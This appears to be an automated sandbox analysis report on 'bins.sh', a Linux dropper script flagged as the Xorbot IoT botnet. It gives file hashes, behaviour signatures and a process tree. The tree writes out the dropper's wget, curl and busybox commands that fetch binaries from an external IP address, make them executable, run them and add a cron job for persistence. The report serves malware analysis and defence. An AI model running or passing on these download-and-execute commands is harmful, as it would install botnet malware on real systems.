Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    144s
  • max time network
    144s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 11:18

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8665f2af69fbd363509207dc0486225c

  • SHA1

    7d3257b493a353a934f65a5ec649dc6a2d5d229e

  • SHA256

    1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f

  • SHA512

    3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986

  • SSDEEP

    96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2144) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1517
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1518
      • /usr/bin/wget
        wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:1523
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:1524
      • /bin/chmod
        chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • File and Directory Permissions Modification
        PID:1525
      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
          PID:1526
        • /bin/rm
          rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
          2⤵
            PID:1528
          • /usr/bin/wget
            wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:1530
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:1531
          • /bin/chmod
            chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • File and Directory Permissions Modification
            PID:1532
          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
              PID:1533
            • /bin/rm
              rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
              2⤵
                PID:1535
              • /usr/bin/wget
                wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:1537
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:1538
              • /bin/chmod
                chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • File and Directory Permissions Modification
                PID:1539
              • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                  PID:1540
                • /bin/rm
                  rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                  2⤵
                    PID:1542
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:1543
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:1544
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:1545
                  • /bin/chmod
                    chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1546
                  • /usr/bin/crontab
                    crontab -l
                    2⤵
                      PID:1550
                    • /usr/bin/crontab
                      crontab -
                      2⤵
                      • Creates/modifies Cron job
                      PID:1552
                    • /bin/rm
                      rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                      2⤵
                        PID:1554
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                          PID:1557

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        Download Submit

                      • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        Download Submit

                      • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        Download Submit

                      • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        Download Submit

                      • /var/spool/cron/crontabs/tmp.ePg3he
                        Filesize

                        210B

                        MD5

                        66390b0f8387cc5b18106c802e09c6b0

                        SHA1

                        b70645461d76f3c68d3efa8e9532ed6641b1fc58

                        SHA256

                        cedd26750be2ec6126aae21867b8841bfd4b1a53d82ad086d8705764e2cfbfb4

                        SHA512

                        ad3b415199b352e101bd7b2f391e9c385f479ba527d1950cddaefe37212a86c7d765e0f66e08c563e6c25c5a8d526e1bce40bbf403df0fa86f4810888de4851b

                        Download Submit